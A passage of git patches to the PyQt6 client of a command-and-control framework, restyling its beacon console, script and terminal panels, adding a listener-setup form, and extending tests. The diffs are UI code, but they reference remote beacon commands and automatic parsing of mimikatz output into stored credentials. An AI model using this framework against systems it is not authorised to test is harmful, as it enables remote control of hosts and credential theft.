self.printInTerminal("", "", output) + if command_id and source != "ack": + self.renderedResponseIds.add(command_id) + return True + def setCommandStatus(self, command_id, status, command_line="", message=""): if not command_id: return @@ -674,41 +742,32 @@ def setCommandStatus(self, command_id, status, command_line="", message=""): notice += f" - {detail}" self.setConsoleNotice(notice, status == "error") - def printCommandStatusInTerminal(self, command_id, status, message=""): - if not command_id: - return - now = datetime.now() - colors = { - "queued": "#b54708", - "done": "#067647", - "error": "#b42318", + def printCommandStatusInTerminal(self, command_id, status, message="", timestamp=None): + tones = { + "queued": "warning", + "done": "success", + "error": "error", } - color = colors.get(status, "#344054") - status_text = html.escape(status) - command_id_text = html.escape(self._shortCommandId(command_id)) - message_text = html.escape(self._shortText(message, 140)) - terminal_line = ( - '

' - f'[{now.strftime("%Y:%m:%d %H:%M:%S").rstrip()}]' - f' [{status_text}]' - f' {command_id_text}' + terminal_line = console_status_html( + status, + self._shortCommandId(command_id or "unknown"), + self._shortText(message, 140), + tone=tones.get(status, "info"), + timestamp=timestamp, ) - if message_text: - terminal_line += f' {message_text}' - terminal_line += "

" self.editorOutput.insertHtml(terminal_line) self.editorOutput.insertPlainText("\n") def printInTerminal(self, cmdSent, cmdReived, result): - now = datetime.now() - sendFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [>>] '+'{}'+'

' - receiveFormater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [<<] '+'{}'+'

' - if cmdSent: - self.editorOutput.insertHtml(sendFormater.format(cmdSent)) + self.editorOutput.insertHtml( + console_header_html(cmdSent, marker="[>>]", tone="command") + ) self.editorOutput.insertPlainText("\n") elif cmdReived: - self.editorOutput.insertHtml(receiveFormater.format(cmdReived)) + self.editorOutput.insertHtml( + console_header_html(cmdReived, marker="[<<]", tone="response") + ) self.editorOutput.insertPlainText("\n") if result: @@ -718,14 +777,7 @@ def printInTerminal(self, cmdSent, cmdReived, result): # Convert remaining color SGR html_body = ansi_to_html(s) - html = ( - "
"
-                f"{html_body}"
-                "
" - ) - self.editorOutput.insertHtml(html) + self.editorOutput.insertHtml(console_pre_html(html_body)) self.editorOutput.insertHtml("
") self.editorOutput.insertPlainText("\n") @@ -778,7 +830,6 @@ def executeCommand(self, commandLine): self.setCursorEditorAtEnd() return - self.printInTerminal(commandLine, "", "") command_id = uuid.uuid4().hex command = TeamServerApi_pb2.SessionCommandRequest( session=TeamServerApi_pb2.SessionSelector( @@ -793,8 +844,15 @@ def executeCommand(self, commandLine): if not is_response_ok(result): message = response_message(result, "Command was rejected by TeamServer.") self.setCommandStatus(command_id, "error", commandLine, message) - self.printCommandStatusInTerminal(command_id, "error", message) - self.printInTerminal("", commandLine, message) + self.printCommandStatusInTerminal(command_id, "error", commandLine) + self.printInTerminal("", "", message) + self.appendConsoleEvent( + "error", + command_id=command_id, + command=commandLine, + output=message, + source="ack", + ) with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: logFile.write('[+] rejected: \"' + commandLine + '\"') logFile.write('\n' + message + '\n') @@ -803,11 +861,12 @@ def executeCommand(self, commandLine): self.setCommandStatus(command_id, "queued", commandLine) self.printCommandStatusInTerminal(command_id, "queued", commandLine) + self.appendConsoleEvent("queued", command_id=command_id, command=commandLine) context = "Host " + self.hostname + " - Username " + self.username self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "", command_id) ack_message = response_message(result) if ack_message: - self.printInTerminal("", commandLine, ack_message) + self.printInTerminal("", "", ack_message) self.setCursorEditorAtEnd() @@ -817,6 +876,8 @@ def displayResponse(self): for response in responses: context = "Host " + self.hostname + " - Username " + self.username command_id = getattr(response, "command_id", "") + if command_id and command_id in self.renderedResponseIds: + continue listener_hash = response.session.listener_hash or self.listenerHash command_text = response.command or response.instruction decoded_response = response.output.decode('utf-8', 'replace') @@ -827,11 +888,19 @@ def displayResponse(self): # check the response for mimikatz and not the cmd line ??? if "-e mimikatz.exe" in command_text: credentials.handleMimikatzCredentials(decoded_response, self.grpcClient, TeamServerApi_pb2) - self.printInTerminal("", command_text, decoded_response) status = "done" if response_ok else "error" - status_detail = command_text if response_ok else decoded_response self.setCommandStatus(command_id, status, command_text, decoded_response if not response_ok else "") - self.printCommandStatusInTerminal(command_id, status, status_detail) + self.printCommandStatusInTerminal(command_id, status, command_text) + self.printInTerminal("", "", decoded_response) + if command_id: + self.renderedResponseIds.add(command_id) + self.appendConsoleEvent( + status, + command_id=command_id, + command=command_text, + output=decoded_response, + source="response", + ) self.setCursorEditorAtEnd() with open(os.path.join(logsDir, self.logFileName), 'a') as logFile: @@ -842,9 +911,7 @@ def displayResponse(self): def setCursorEditorAtEnd(self, force=False): if not force and self.isAutoscrollPaused(): return - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) class GetSessionResponse(QObject): diff --git a/C2Client/C2Client/ScriptPanel.py b/C2Client/C2Client/ScriptPanel.py index 61de29c..ab5de40 100644 --- a/C2Client/C2Client/ScriptPanel.py +++ b/C2Client/C2Client/ScriptPanel.py @@ -9,7 +9,7 @@ from threading import Thread, Lock, Semaphore from PyQt6.QtCore import Qt, QEvent, QTimer, pyqtSignal -from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut +from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut from PyQt6.QtWidgets import ( QAbstractItemView, QCompleter, @@ -18,14 +18,21 @@ QHeaderView, QLabel, QLineEdit, - QPlainTextEdit, QPushButton, QTableWidget, QTableWidgetItem, + QTextBrowser, QVBoxLayout, QWidget, ) +from .console_style import ( + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) + logger = logging.getLogger(__name__) @@ -188,8 +195,8 @@ def __init__(self, parent, grpcClient): manualLayout.addWidget(self.runHookButton) self.layout.addLayout(manualLayout) - self.editorOutput = QPlainTextEdit() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + self.editorOutput = QTextBrowser() + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) self.layout.addWidget(self.editorOutput, 5) @@ -586,17 +593,36 @@ def event(self, event): def printInTerminal(self, cmd, result): - now = datetime.now() - formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' - self.sem.acquire() - if cmd: - self.editorOutput.appendHtml(formater.format(cmd)) - self.editorOutput.insertPlainText("\n") - if result: - self.editorOutput.insertPlainText(result) - self.editorOutput.insertPlainText("\n") - self.sem.release() + try: + marker, tone = self._console_role_for_header(cmd) + has_entry = bool(cmd or result) + append_console_block( + self.editorOutput, + cmd, + result, + marker=marker, + tone=tone, + ) + if has_entry: + append_console_spacing(self.editorOutput) + finally: + self.sem.release() + + def _console_role_for_header(self, header): + normalized = str(header or "").strip().rstrip(":").lower() + if normalized in { + "loaded automations", + "automation command", + "manual context error", + "manual run blocked", + }: + return "[system]", "system" + if normalized in {"script load errors", "script error"}: + return "[error]", "error" + if normalized == "manual run": + return "[user]", "user" + return "[script]", "script" def runCommand(self): @@ -619,9 +645,7 @@ def runCommand(self): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) class CommandEditor(QLineEdit): diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index c07905f..2a0fd8c 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -4,19 +4,23 @@ import logging import re import subprocess -from datetime import datetime - from PyQt6.QtCore import Qt, QEvent, QThread, QTimer, pyqtSignal, QObject -from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut +from PyQt6.QtGui import QStandardItem, QStandardItemModel, QShortcut from PyQt6.QtWidgets import ( QCompleter, QLineEdit, - QPlainTextEdit, + QTextBrowser, QVBoxLayout, QWidget, ) from .grpcClient import TeamServerApi_pb2 +from .console_style import ( + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) from .env import env_path from .grpc_status import is_response_ok, terminal_response_text from .TerminalModules.Batcave import batcave @@ -466,15 +470,15 @@ def __init__(self, parent, grpcClient): self.logFileName=LogFileName - self.editorOutput = QPlainTextEdit() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + self.editorOutput = QTextBrowser() + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) self.layout.addWidget(self.editorOutput, 8) self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) - self.printInTerminal("Terminal", TerminalWelcomeMessage) + self.printInTerminal("Terminal", TerminalWelcomeMessage, role="system") def nextCompletion(self): @@ -492,17 +496,18 @@ def event(self, event): return super().event(event) - def printInTerminal(self, cmd, result): - now = datetime.now() - formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' - - if cmd: - self.editorOutput.appendHtml(formater.format(cmd)) - self.editorOutput.insertPlainText("\n") - if result: - self.editorOutput.insertPlainText(result) - self.editorOutput.insertPlainText("\n") - + def printInTerminal(self, cmd, result, role="user"): + normalized_role = role if role in {"system", "user"} else "user" + has_entry = bool(cmd or result) + append_console_block( + self.editorOutput, + cmd, + result, + marker=f"[{normalized_role}]", + tone=normalized_role, + ) + if has_entry: + append_console_spacing(self.editorOutput) self.setCursorEditorAtEnd() @@ -987,9 +992,7 @@ def printDropperResult(self, cmd, result): # setCursorEditorAtEnd def setCursorEditorAtEnd(self): - cursor = self.editorOutput.textCursor() - cursor.movePosition(QTextCursor.MoveOperation.End) - self.editorOutput.setTextCursor(cursor) + move_editor_to_end(self.editorOutput) class DropperWorker(QObject): diff --git a/C2Client/C2Client/console_style.py b/C2Client/C2Client/console_style.py new file mode 100644 index 0000000..0616455 --- /dev/null +++ b/C2Client/C2Client/console_style.py @@ -0,0 +1,167 @@ +from __future__ import annotations + +import html +from datetime import datetime + +from PyQt6.QtGui import QFont, QTextCursor + + +CONSOLE_FONT_FAMILY = "JetBrainsMono Nerd Font" +CONSOLE_FONT_CSS = ( + "'JetBrainsMono Nerd Font','FiraCode Nerd Font','DejaVu Sans Mono'," + "'Noto Sans Mono',monospace" +) + +CONSOLE_COLORS = { + "background": "#0b1117", + "border": "#263241", + "selection": "#184a73", + "text": "#d0d5dd", + "header": "#f2f4f7", + "muted": "#98a2b3", + "timestamp": "#7cd4fd", + "info": "#7cd4fd", + "system": "#7cd4fd", + "user": "#fdb022", + "assistant": "#32d583", + "script": "#a6f4c5", + "command": "#fdb022", + "response": "#f97066", + "success": "#32d583", + "warning": "#fdb022", + "error": "#f97066", +} + + +def console_font() -> QFont: + return QFont(CONSOLE_FONT_FAMILY) + + +def apply_console_output_style(editor) -> None: + editor.setFont(console_font()) + editor.setStyleSheet( + f""" + QTextEdit, QTextBrowser, QPlainTextEdit {{ + background-color: {CONSOLE_COLORS["background"]}; + color: {CONSOLE_COLORS["text"]}; + border: 1px solid {CONSOLE_COLORS["border"]}; + selection-background-color: {CONSOLE_COLORS["selection"]}; + selection-color: {CONSOLE_COLORS["text"]}; + }} + """ + ) + + +def move_editor_to_end(editor) -> None: + cursor = editor.textCursor() + cursor.movePosition(QTextCursor.MoveOperation.End) + editor.setTextCursor(cursor) + + +def timestamp_text() -> str: + return datetime.now().strftime("%Y:%m:%d %H:%M:%S").rstrip() + + +def tone_color(tone: str) -> str: + return CONSOLE_COLORS.get(tone, CONSOLE_COLORS["info"]) + + +def console_header_html( + label: str, + *, + marker: str = "[+]", + tone: str = "info", + wrap: str = "pre", + timestamp: str | None = None, + show_label: bool = True, +) -> str: + color = tone_color(tone) + line = ( + f'

' + f'[{timestamp or timestamp_text()}]' + f' {html.escape(marker)}' + ) + if show_label and label: + line += f' {html.escape(str(label))}' + return line + "

" + + +def console_status_html( + status: str, + command_id: str, + message: str = "", + *, + tone: str = "info", + timestamp: str | None = None, +) -> str: + line = ( + '

' + f'[{timestamp or timestamp_text()}]' + f' [{html.escape(str(status))}]' + f' {html.escape(str(command_id))}' + ) + if message: + line += f' {html.escape(str(message))}' + return line + "

" + + +def console_pre_html(body: str) -> str: + return ( + '
'
+        f"{body}"
+        "
" + ) + + +def append_console_html(editor, body: str) -> None: + if not body: + return + move_editor_to_end(editor) + if hasattr(editor, "appendHtml"): + editor.appendHtml(body) + else: + editor.insertHtml(body) + editor.insertPlainText("\n") + + +def append_console_text(editor, text: str) -> None: + if not text: + return + append_console_html(editor, console_pre_html(html.escape(str(text)))) + + +def append_console_spacing(editor, lines: int = 1) -> None: + if lines <= 0: + return + move_editor_to_end(editor) + editor.insertPlainText("\n" * lines) + + +def append_console_block( + editor, + header: str = "", + message: str = "", + *, + marker: str = "[+]", + tone: str = "info", + rich_message: bool = False, + show_label: bool = True, +) -> None: + if header: + append_console_html( + editor, + console_header_html( + header, + marker=marker, + tone=tone, + wrap="pre-wrap", + show_label=show_label, + ), + ) + if message: + if rich_message: + append_console_html(editor, f'
{message}
') + else: + append_console_text(editor, message) diff --git a/C2Client/tests/test_assistant_panel.py b/C2Client/tests/test_assistant_panel.py index ad073a2..91539da 100644 --- a/C2Client/tests/test_assistant_panel.py +++ b/C2Client/tests/test_assistant_panel.py @@ -76,6 +76,22 @@ def test_help_command_shows_local_commands(qtbot, monkeypatch): assert "/reset - Alias for /cancel." in output +def test_assistant_console_uses_role_badges_without_default_marker(qtbot, monkeypatch): + assistant = build_assistant(qtbot, monkeypatch) + assistant.editorOutput.clear() + + assistant.printInTerminal("System", "ready") + assistant.printInTerminal("User:", "hello") + assistant.printInTerminal("Analysis:", "ok") + + output = assistant.editorOutput.toPlainText() + assert "[system]\nready" in output + assert "[user]\nhello" in output + assert "[assistant]\nok" in output + assert "[+]" not in output + assert "color:#d0d5dd" in assistant.editorOutput.toHtml() + + def test_unknown_slash_command_redirects_to_help_without_calling_assistant(qtbot, monkeypatch): assistant = build_assistant(qtbot, monkeypatch) diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 0f91d8c..ced68d5 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -68,7 +68,10 @@ def test_command_ack_error_is_displayed_without_pending_emit(tmp_path, qtbot, mo console.runCommand() assert emitted == [] - assert "Session not found." in console.editorOutput.toPlainText() + output = console.editorOutput.toPlainText() + assert "Session not found." in output + assert "[error]" in output + assert "[<<]" not in output command_id = grpc.sent_commands[0].command_id assert console.commandStatusById[command_id]["status"] == "error" assert 'rejected: "whoami"' in (tmp_path / 'host_user_beacon.log').read_text() @@ -122,7 +125,9 @@ def test_console_tracks_command_status_and_resend(tmp_path, qtbot, monkeypatch): first_command_id = grpc.sent_commands[0].command_id assert console.lastCommandLine == 'whoami' assert console.commandStatusById[first_command_id]["status"] == "queued" - assert "[queued]" in console.editorOutput.toPlainText() + output = console.editorOutput.toPlainText() + assert "[queued]" in output + assert "[>>]" not in output console.resendLastCommand() @@ -144,7 +149,10 @@ def test_console_tracks_command_status_and_resend(tmp_path, qtbot, monkeypatch): console.displayResponse() assert console.commandStatusById[first_command_id]["status"] == "done" - assert "[done]" in console.editorOutput.toPlainText() + output = console.editorOutput.toPlainText() + assert "[done]" in output + assert "[<<]" not in output + assert output.index("[done]") < output.index("user") def test_console_search_clear_and_export_controls(tmp_path, qtbot, monkeypatch): @@ -170,3 +178,45 @@ def test_console_search_clear_and_export_controls(tmp_path, qtbot, monkeypatch): console.clearConsoleOutput() assert console.editorOutput.toPlainText() == "" + + +def test_console_replays_structured_log_on_reopen(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + monkeypatch.setattr('C2Client.ConsolePanel.logsDir', str(tmp_path)) + monkeypatch.setattr('C2Client.ConsolePanel.QThread.start', lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + console = Console(parent, grpc, 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(console) + + console.commandEditor.setText('whoami') + console.runCommand() + command_id = grpc.sent_commands[0].command_id + grpc.responses = [ + SimpleNamespace( + status=TeamServerApi_pb2.OK, + session=SimpleNamespace(listener_hash="listener"), + command="whoami", + instruction="", + command_id=command_id, + output=b"user", + message="", + ) + ] + console.displayResponse() + + log_text = (tmp_path / 'host_user_beacon.log').read_text() + assert '[console]' in log_text + + reopened = Console(parent, StubGrpc(), 'beacon', 'listener', 'host', 'user') + qtbot.addWidget(reopened) + + output = reopened.editorOutput.toPlainText() + assert "[queued]" in output + assert "[done]" in output + assert "[>>]" not in output + assert "whoami" in output + assert "user" in output + assert reopened.commandStatusById[command_id]["status"] == "done" + assert command_id in reopened.renderedResponseIds diff --git a/C2Client/tests/test_script_panel.py b/C2Client/tests/test_script_panel.py index b673819..ddeef92 100644 --- a/C2Client/tests/test_script_panel.py +++ b/C2Client/tests/test_script_panel.py @@ -91,6 +91,22 @@ def test_script_panel_lists_hooks_and_import_errors(qtbot, monkeypatch): assert script_panel.scriptStates["C2Client.Scripts.badScript"]["errors"] == 1 +def test_script_console_uses_role_badges_without_default_marker(qtbot, monkeypatch): + OnStartScript.calls = 0 + monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) + monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) + + script_panel = Script(None, object()) + qtbot.addWidget(script_panel) + script_panel.mainScriptMethod("start", "", "", "") + + output = script_panel.editorOutput.toPlainText() + assert "[system] Loaded automations:" in output + assert "[script] OnStart" in output + assert "[+]" not in output + assert output.endswith("\n\n") + + def test_console_hook_receives_context_and_legacy_signature_still_works(qtbot, monkeypatch): ConsoleContextScript.calls = [] LegacyConsoleScript.calls = 0 @@ -176,6 +192,7 @@ def test_manual_run_replays_last_hook_context(qtbot, monkeypatch): def test_onstart_trigger_subtlety_is_available_in_hook_tooltip(qtbot, monkeypatch): + OnStartScript.calls = 0 monkeypatch.setattr("C2Client.ScriptPanel.LoadedScripts", [OnStartScript]) monkeypatch.setattr("C2Client.ScriptPanel.FailedScripts", []) diff --git a/C2Client/tests/test_terminal_panel_dropper_arch.py b/C2Client/tests/test_terminal_panel_dropper_arch.py index b310af6..2c541b2 100644 --- a/C2Client/tests/test_terminal_panel_dropper_arch.py +++ b/C2Client/tests/test_terminal_panel_dropper_arch.py @@ -118,10 +118,30 @@ def test_terminal_shows_welcome_message(qtbot): qtbot.addWidget(terminal) output = terminal.editorOutput.toPlainText() + lines = output.splitlines() + assert "[system] Terminal" in lines[0] + assert lines[1].startswith("Local TeamServer terminal.") + assert lines[2] == "" + assert "[+]" not in output assert "Local TeamServer terminal." in output assert "Type Help to list available commands" in output +def test_terminal_user_commands_use_user_badge(qtbot, tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + parent = QWidget() + terminal = terminal_panel.Terminal(parent, FakeGrpc()) + qtbot.addWidget(terminal) + + terminal.commandEditor.setText("Help") + terminal.runCommand() + + output = terminal.editorOutput.toPlainText() + assert "[user] Help" in output + assert output.endswith("\n\n") + assert "[+]" not in output + + def test_create_donut_shellcode_reports_subprocess_crash(tmp_path, monkeypatch): monkeypatch.chdir(tmp_path) From db3daf421728268826a36bce2c87f786868137a9 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 21:40:26 +0200 Subject: [PATCH 13/82] minor --- C2Client/C2Client/TerminalPanel.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 2a0fd8c..82dd3e7 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -478,7 +478,7 @@ def __init__(self, parent, grpcClient): self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) - self.printInTerminal("Terminal", TerminalWelcomeMessage, role="system") + self.printInTerminal(" ", TerminalWelcomeMessage, role="system") def nextCompletion(self): From 05e28e03755259f68aa350bf3c0ff3da64b3588f Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 21:51:35 +0200 Subject: [PATCH 14/82] Listener panel --- C2Client/C2Client/ListenerPanel.py | 197 +++++++++++++++++++------- C2Client/C2Client/TerminalPanel.py | 2 +- C2Client/tests/test_listener_panel.py | 57 +++++++- 3 files changed, 202 insertions(+), 54 deletions(-) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 40ef310..dbf9e90 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -4,6 +4,7 @@ from ipaddress import ip_address from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QIntValidator from PyQt6.QtWidgets import ( QApplication, QComboBox, @@ -52,6 +53,61 @@ DOMAIN_LABEL_PATTERN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?$") GITHUB_PROJECT_PART_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$") +PORT_FIELD_TYPES = {HttpType, HttpsType, TcpType, DnsType} +PRIMARY_LISTENER_TYPES = [HttpType, HttpsType, TcpType, GithubType, DnsType] +AUTO_FIELD_VALUES = {"0.0.0.0", "8443", "8080", "4444", "53"} +LISTENER_FORM_CONFIG = { + HttpType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "8080", + "help": "HTTP listener bound on a local interface.", + "secret": False, + }, + HttpsType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "8443", + "help": "HTTPS listener bound on a local interface.", + "secret": False, + }, + TcpType: { + "param1_label": IpLabel, + "param2_label": PortLabel, + "param1_placeholder": "0.0.0.0 or ::", + "param2_placeholder": "1-65535", + "default_param1": "0.0.0.0", + "default_param2": "4444", + "help": "Raw TCP listener bound on a local interface.", + "secret": False, + }, + GithubType: { + "param1_label": ProjectLabel, + "param2_label": TokenLabel, + "param1_placeholder": "project or owner/repo", + "param2_placeholder": "GitHub token", + "default_param1": "", + "default_param2": "", + "help": "GitHub listener using a simple project name or owner/repo.", + "secret": True, + }, + DnsType: { + "param1_label": DomainLabel, + "param2_label": PortLabel, + "param1_placeholder": "example.com", + "param2_placeholder": "1-65535", + "default_param1": "", + "default_param2": "53", + "help": "DNS listener for a controlled domain.", + "secret": False, + }, +} def _text(value): @@ -445,22 +501,30 @@ def __init__(self): super().__init__() layout = QFormLayout() + layout.setContentsMargins(12, 12, 12, 12) + layout.setHorizontalSpacing(10) + layout.setVerticalSpacing(8) self.labelType = QLabel(TypeLabel) self.qcombo = QComboBox(self) - self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType]) + self.qcombo.addItems(PRIMARY_LISTENER_TYPES) self.qcombo.setCurrentIndex(1) self.qcombo.currentTextChanged.connect(self.changeLabels) self.type = self.qcombo layout.addRow(self.labelType, self.type) + self.helpLabel = QLabel("") + self.helpLabel.setWordWrap(True) + layout.addRow(self.helpLabel) + self.labelIP = QLabel(IpLabel) self.param1 = QLineEdit() - self.param1.setText("0.0.0.0") + self.param1.setClearButtonEnabled(True) layout.addRow(self.labelIP, self.param1) self.labelPort = QLabel(PortLabel) self.param2 = QLineEdit() - self.param2.setText("8443") + self.param2.setClearButtonEnabled(True) + self.portValidator = QIntValidator(1, 65535, self) layout.addRow(self.labelPort, self.param2) self.errorLabel = QLabel("") @@ -469,63 +533,84 @@ def __init__(self): self.errorLabel.setVisible(False) layout.addRow(self.errorLabel) - self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend) - layout.addRow(self.buttonOk) + self.buttonLayout = QHBoxLayout() + self.buttonLayout.addStretch(1) + self.cancelButton = QPushButton("Cancel", clicked=self.close) + self.buttonOk = QPushButton("Add", clicked=self.checkAndSend) + self.buttonOk.setDefault(True) + self.buttonLayout.addWidget(self.cancelButton) + self.buttonLayout.addWidget(self.buttonOk) + layout.addRow(self.buttonLayout) self.setLayout(layout) self.setWindowTitle(AddListenerWindowTitle) - self.param1.textChanged.connect(self.clearValidationError) - self.param2.textChanged.connect(self.clearValidationError) + self.setMinimumWidth(360) + self.param1.textChanged.connect(self.updateFormState) + self.param2.textChanged.connect(self.updateFormState) + self.param1.returnPressed.connect(self.checkAndSend) + self.param2.returnPressed.connect(self.checkAndSend) self.changeLabels() def changeLabels(self): self.clearValidationError() - if self.qcombo.currentText() == HttpType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - self.param1.setPlaceholderText("0.0.0.0") - self.param2.setPlaceholderText("1-65535") - if not self.param1.text().strip(): - self.param1.setText("0.0.0.0") - if not self.param2.text().strip(): - self.param2.setText("8443") - elif self.qcombo.currentText() == HttpsType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - self.param1.setPlaceholderText("0.0.0.0") - self.param2.setPlaceholderText("1-65535") - if not self.param1.text().strip(): - self.param1.setText("0.0.0.0") - if not self.param2.text().strip(): - self.param2.setText("8443") - elif self.qcombo.currentText() == TcpType: - self.labelIP.setText(IpLabel) - self.labelPort.setText(PortLabel) - self.param1.setPlaceholderText("0.0.0.0") - self.param2.setPlaceholderText("1-65535") - if not self.param1.text().strip(): - self.param1.setText("0.0.0.0") - if not self.param2.text().strip(): - self.param2.setText("8443") - elif self.qcombo.currentText() == GithubType: - self.labelIP.setText(ProjectLabel) - self.labelPort.setText(TokenLabel) - self.param1.setPlaceholderText("project or owner/repo") - self.param2.setPlaceholderText("GitHub token") - if self.param1.text().strip() == "0.0.0.0": - self.param1.clear() - if self.param2.text().strip() == "8443": - self.param2.clear() - elif self.qcombo.currentText() == DnsType: - self.labelIP.setText(DomainLabel) - self.labelPort.setText(PortLabel) - self.param1.setPlaceholderText("example.com") - self.param2.setPlaceholderText("1-65535") - if self.param1.text().strip() == "0.0.0.0": - self.param1.clear() - if not self.param2.text().strip(): - self.param2.setText("8443") + listenerType = self.qcombo.currentText() + config = LISTENER_FORM_CONFIG[listenerType] + + self.labelIP.setText(config["param1_label"]) + self.labelPort.setText(config["param2_label"]) + self.helpLabel.setText(config["help"]) + self.param1.setPlaceholderText(config["param1_placeholder"]) + self.param2.setPlaceholderText(config["param2_placeholder"]) + self.param1.setToolTip(config["param1_placeholder"]) + self.param2.setToolTip(config["param2_placeholder"]) + + if listenerType in PORT_FIELD_TYPES: + self.param2.setValidator(self.portValidator) + self.param2.setEchoMode(QLineEdit.EchoMode.Normal) + else: + self.param2.setValidator(None) + self.param2.setEchoMode( + QLineEdit.EchoMode.Password if config["secret"] else QLineEdit.EchoMode.Normal + ) + + self.applyParam1Default(listenerType, config["default_param1"]) + self.applyParam2Default(listenerType, config["default_param2"]) + self.updateFormState() + + def applyParam1Default(self, listenerType, defaultValue): + current = self.param1.text().strip() + shouldReset = not current or current in AUTO_FIELD_VALUES + + if listenerType in {HttpType, HttpsType, TcpType}: + shouldReset = shouldReset or not self.looksLikeIp(current) + elif listenerType == DnsType: + shouldReset = shouldReset or self.looksLikeIp(current) or "/" in current or ":" in current + elif listenerType == GithubType: + shouldReset = shouldReset or self.looksLikeIp(current) or "://" in current + + if shouldReset: + self.param1.setText(defaultValue) + + def applyParam2Default(self, listenerType, defaultValue): + current = self.param2.text().strip() + if listenerType in PORT_FIELD_TYPES: + shouldReset = not current or current in AUTO_FIELD_VALUES or not current.isdigit() + else: + shouldReset = current in AUTO_FIELD_VALUES or current.isdigit() + + if shouldReset: + self.param2.setText(defaultValue) + + def looksLikeIp(self, value): + candidate = _text(value) + if candidate and candidate not in AUTO_FIELD_VALUES: + try: + ip_address(candidate) + return True + except ValueError: + return False + return False def clearValidationError(self): clear_status(self.errorLabel, "") @@ -535,6 +620,14 @@ def showValidationError(self, message): apply_error(self.errorLabel, message) self.errorLabel.setVisible(True) + def updateFormState(self): + self.clearValidationError() + valid, _ = validate_listener_fields( + self.type.currentText(), + self.param1.text(), + self.param2.text(), + ) + self.buttonOk.setEnabled(valid) def checkAndSend(self): type = self.type.currentText().strip() diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index 82dd3e7..2a0fd8c 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -478,7 +478,7 @@ def __init__(self, parent, grpcClient): self.commandEditor = CommandEditor() self.layout.addWidget(self.commandEditor, 2) self.commandEditor.returnPressed.connect(self.runCommand) - self.printInTerminal(" ", TerminalWelcomeMessage, role="system") + self.printInTerminal("Terminal", TerminalWelcomeMessage, role="system") def nextCompletion(self): diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index aedd05c..08d419b 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,9 +1,10 @@ -from PyQt6.QtWidgets import QApplication, QHeaderView, QWidget +from PyQt6.QtWidgets import QApplication, QHeaderView, QLineEdit, QWidget from C2Client.ListenerPanel import ( CreateListner, DnsType, GithubType, + HttpType, HttpsType, Listener, Listeners, @@ -96,6 +97,60 @@ def test_add_listener_form_blocks_invalid_port(qtbot): assert form.errorLabel.text() == "Port must be a number between 1 and 65535." +def 